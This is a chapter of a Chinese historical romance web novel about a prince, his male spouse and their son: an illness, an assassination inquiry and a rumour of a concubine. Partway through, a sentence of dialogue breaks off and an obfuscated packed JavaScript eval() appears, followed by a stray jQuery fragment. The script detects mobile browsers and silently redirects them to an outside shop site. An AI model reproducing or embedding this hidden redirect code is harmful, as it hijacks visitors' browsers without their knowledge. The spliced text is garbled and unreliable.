晏渡连着两日低热不退,昏睡时候远比醒着的时候长,谢徵令陶安递注籍向宫里头告了假,自己也寸步不离守着。
病中的人褪了那些骄矜,愈发绵软,抱着被子迷迷糊糊喊:“三郎,不想喝药。”
谢徵将那口药吹凉了,喂到他唇边:“心肝,喊爹也没用,吃了药病才能快些好啊。”
他的心肝就这么拢着被褥,泪眼朦胧地呢喃:“爹……不想喝药。”
“……”谢徵费了九牛二虎之力才将汤药喂下去,连人带被抱在怀里,跟哄孩子似的拍,“再睡会,我陪着你。”
晏渡耷拉着眼皮,静静地注视着他,抱怨说:“睡醒了又要喝药,不睡了就不用喝了。”
谢徵道:“那你怎么不说睡着不醒了就不用喝。”
裹在被褥里的人眼珠子转了转,当即昏死过去。
谢从昱从太傅府上回来,见母亲病成这样,忧心不已,揽下了煮药端药的活,送到母亲床前,又被父亲接过去,听父亲对他说:“喂药这种活还是爹来,你学着点,以后讨了媳妇也这样伺候。”
谢从昱当真乖乖地站在拔步床边学了一刻钟。
谢徵问他:“想娶媳妇吗,看的这么认真?”
谢从昱答:“不想,孩儿想跟爹娘待一辈子。”
晏渡意识还不清楚,扯着谢徵衣领直起些身,摸摸孩子的脸蛋:“这个孩子怎么长得这么像我夫君?”
谢徵登时乐了,谢从昱撇撇嘴:“娘,你生病就不认得孩儿了吗?”
晏渡怔了片刻,揉揉他的脑袋:“我生的呀,怎么长得和谢徵一模一样?”沉吟了须臾,又说:“算了算了,我夫君也是一等一的俊俏,长得像他也很好。”
谢徵听着这话又喜不自胜了,谢从昱往晏渡身前拱了拱,委屈巴巴道:“娘,你要快点好起来。”
晏渡捧着他的脸蛋,额头亲一下,鼻子亲一下,腮帮子又亲一下,软绵绵地说:“真是我的宝贝吗?长得这么大了呀。”
谢从昱扬起了脸任母亲摆弄,“真的呀。”
谢徵顺手将孩子也拢在臂弯里,笑吟吟说:“你抱你的宝贝,我抱着我的两个宝贝。”
晏渡抬起眼看着他,眨了几下,冷不丁说:“谁是你宝贝……嗯?你怎么长得这么像我夫君?”
好嘛,连他都认不出来了,谢徵心想。
“二爷,我就是谢徵呀,看看我的蓝眼睛,你成日抱着亲的。”说完就睁大眼睛,供晏渡看个清,“这天下有多少蓝眼睛的,这你总认出来了吧。”
晏渡点了点头,往他胸前一躺,有气无力地:“不准叫二爷,显老。”
谢徵追问:“那叫你什么?”
晏渡拢上眼皮,“叫宝贝。”
谢徵就听话地宝贝宝贝地喊,硬生生把人哄睡着,又将人放平整在床上,一遍一遍地亲。
有一回深夜,晏渡又发了虚汗,谢徵令人烧了水给他擦身子,晏渡温驯地翻过身子让他擦,擦完,又拉过他的手心放在自己小腹上,喃喃说:“你每次都弄进去,为什么还没怀上呢?”
谢徵看着一脸认真的人,发了难:“你想再要个孩子吗?”
晏渡与他五指交扣起来,反驳说:“不是我再要个孩子,是我跟你再要个孩子,这次要长得像我才行。”
谢徵笑了一阵,反问他:“长得还像我怎么办?”
晏渡抬手推搡了他一下,斥道:“那就是你没用,没用的男人。”
谢徵拿热乎的脸颊贴贴他软乎的小腹,不正经地说:“我们可以一直生,生到像你为止。”
这话原本谢徵调情的时候也讲过,谁料得晏渡抄起枕头就往他背上砸,狠狠骂:“你就只是x进去,动动嘴,孩子就出来了。我要怀着他十个月,胆战心惊的,生怕磕了碰了,哪里长得不好了,全乎不全乎,生下来长得好看不好看,要担心的那么多。给你美的,还一直生。”
骂完,扯着被子缩进去,又抬脚踹他:“只会动嘴的男人要不得。”
谢徵不是头回觉着他可爱了,但是病得意识不清的这阵真是怎么看怎么喜欢,亲也亲不够,抱也抱不够,挨踹了还冷脸贴热屁股似的凑上去,任他踹个够。
晏渡彻底退了热已是第三天的事了,陈玉为他把了脉,瞧着人神智清楚了,拿根手指在他面前比划:“维音,这是几?”
晏渡蹙蹙眉,“陈玉,你当我傻子么?”
陈玉拢着胳膊:“不见得,昨天有个人说这是三。”
晏渡抬起手掌心贴住脸,难堪地说:“老天爷,这是谢徵吧。”
陈玉坐在他身侧,将斡尔一事简单陈述了一遍,又将他们在虞都一带私兵扩建一事的细枝末节讲给他听,晏渡眉心刚平整下去的褶皱此刻又耸起来。
“怪不得又有人要刺杀谢徵,萧琰成了斡尔的汗王,谢徵马上又是朝中众人的眼中钉、肉中刺了。”晏渡道。
陈玉称是,将手炉塞到他手中,“你们夫妻二人要不要考虑……先将昱儿送走?”
谢徵膝下唯有一子,世人皆知其子对他的重要,若一时无法控制谢徵,把持了世子确实是拿捏谢徵的唯一突破口。
晏渡明白这个道理。
“可是能送哪去?”晏渡病容未却,面色仍是苍白,虚声道:“我和他,哪里还有什么信得过的亲人?若是送去虞都王府,不在我和他爹的眼底,我更怕豺狼虎豹在这时候对他下手。”
孩子是他的命,他不敢想倘若孩子有什么闪失,他该怎么办。
陈玉细想也觉得是,和蒲团上睡着的小玉奴玩了片刻,对晏渡道:“我去朔卫转转。”
朔卫是谢徵在金陵暗处养的私兵,分散在金陵城外,共设五卫,一卫二百人,平时由陈玉和宋广吾管辖。此卫是在贞宁二十三年,谢徵自虞都封地回京后逐步养起来的,以备某日受困阻于此地。
晏渡目光空荡地盯着床上围幔,忽地又想起做的那个梦。
准确来说不是梦,确实是缇骑违背大靖律法抄没沈家那天的真实情景。
他怨谢徵吗?
大抵是有过的。
但是凭心而论,谢徵待他已是全心全意的体贴入微。更何况,那时太子身死,他自身难保,权衡之下做出这样的决定也无可厚非。当年的事情,谢徵有他的难处。
他掂量了一番,又想到湘王提点他的话,确实,不能救和不想救的区别是极大的,但他更愿意相信,谢徵是不能救。
他对谢徵的爱比那些谈不上恨的怨要多太多了。
谢徵今日入了趟宫,回来时,已经近酉时了。
晏渡正倚在湘妃榻上逗玉奴,谢从昱伏在小案上给母亲作画,见父亲来了,问爹要不要也坐到娘跟前去。
谢徵自然没推拒,搂着晏渡的肩膀坐下,跟他说了会西大营的事情。
金陵共有东西南北四处大营,随谢徵自西北而归的大军目前都驻扎在西大营,加上兵部前几月依文书募兵,奉旨募兵扩充四大营与神机营,故而谢徵近来跑西大营勤了些,打算多为西北军挑些精壮的士兵。
“那日行刺的人查出底细了吗?”晏渡慵懒地靠在他肩头,“是有人故意将我推入河
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702986|208230||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
中的。”
谢徵怔然一瞬,“玄翎卫杀了九人,最后一人见状咬舌自尽了。你说有人故意将你推入河中,那必定是认得你的,但这群人表面上是冲着我来的……”
晏渡垂下眼,掂了掂玉奴,替他说完:“有人知道你我的关系了,或者说……认出我来了。”
他自幼就被沈桥藏得很好,沈桥每次入京述职,只带着沈令望,京中权贵一概没见过他,在凉州、虞都,认识他的也仅限于沈府、凉州卫帅府、沈桥的那支镇北军中人。
而这些人,无一例外都死了。
成婚时,贞宁帝下旨于封地操办,原本派礼部官员带册封、礼器前往虞都王府举行大婚仪式,沈桥上疏请免此项事宜,最后也就作罢,只由谢徵亲自操办了大婚仪式。
一切认识他的、可能受贞宁帝委派的王府长吏与常驻虞都的锦衣卫也在这些年被谢徵处理完了。
他现在细想来,觉着沈桥早就料到了会有此劫,所以从小到大都将他“藏”得极好。
以至于后来沈家罹难,他决定冒籍科考时,几乎没怎么调整相貌。
“世上没有不透风的墙,当初我们预想的确实还不够完善。”晏渡说。
“爹,娘。”谢从昱放下笔,将宣纸提起来,展开在他二人跟前。
纸上以丹青绘就一美人抱着狸奴斜倚在窗边,举止端正,旁边还绘了只大狼狗,弓着身子叠在美人膝头。
谢徵愣是找了一会才发现这只大狼狗就是他,气愤地道:“谢从昱,哪里有把亲爹画成一只狗的?”
晏渡笑得直不起腰,知道昱儿是在报他刚生下来、他爹把他画成了一只狗崽子的仇了。
谢徵要去抢那张画,谢从昱跳了几步收走,同样愤愤不平:“爹,明明是你先将我画成一只狗崽子的,那幅画陈玉姑姑还给我看过呢。”
谢徵振振有词:“谁让你出生的时候折腾你娘,我气不过才画的。”
谢从昱掐着腰:“我今天也气不过呀。”
父子俩吵到最后,晏渡听不下去了,放玉奴到地上,“三郎,你让让昱儿。”
这一声一出,谢徵登时认栽了,慷慨地决定不跟儿子吵了。
这时候,窗子外头站了两个人,一个是谢徵的长随内侍梁兆,一个是小厮姚颂,从他二人的视线看去只能瞧见谢徵的一个头,于是梁兆咋咋呼呼道:
“王爷欸!怎么个事啊?我们俩这去苏州采买一趟的功夫,您咋就带了个妾室回家?小的们走在朱雀桥那儿,有人还在窃窃私语说虞王您前几天抱了个姑娘回家,您不怕王妃割您的脑袋啊?”
谢徵被说得也是一头雾水,晏渡闻言站起身,朝窗子外看去,外头那两个一见王妃,又是吓得赶忙行礼,劝道:“王妃,您、您您别割王爷脑袋啊!”
这天谢徵派人去查,查到那日在秦淮河岸,谢徵怕人看见他与晏渡在一处,便将自己外衫脱下罩在晏渡身上,有人远远地看去,以为虞王殿下抱了个女子回府,这才有的这个传言。
“还以为殿下身侧又有红袖添香之人呢,原来也是我啊。”
谢徵辩驳:“我什么时候敢有二心?”
晏渡抬指解开衣襟上的系带,趴在床上,抬着小腿,握着素霓,含着笑意对谢徵说:“殿下若是哪日纳了妾,我也不争不抢,只赠殿下两把金错刀。”
谢徵问:“说罢,哪两把?”
“这不是重点,重点是砍哪儿。”晏渡拿着素霓在他脖颈上比划了一下,“第一刀砍这。”
其次又在他胯/下比划了下,“第二刀,砍这。”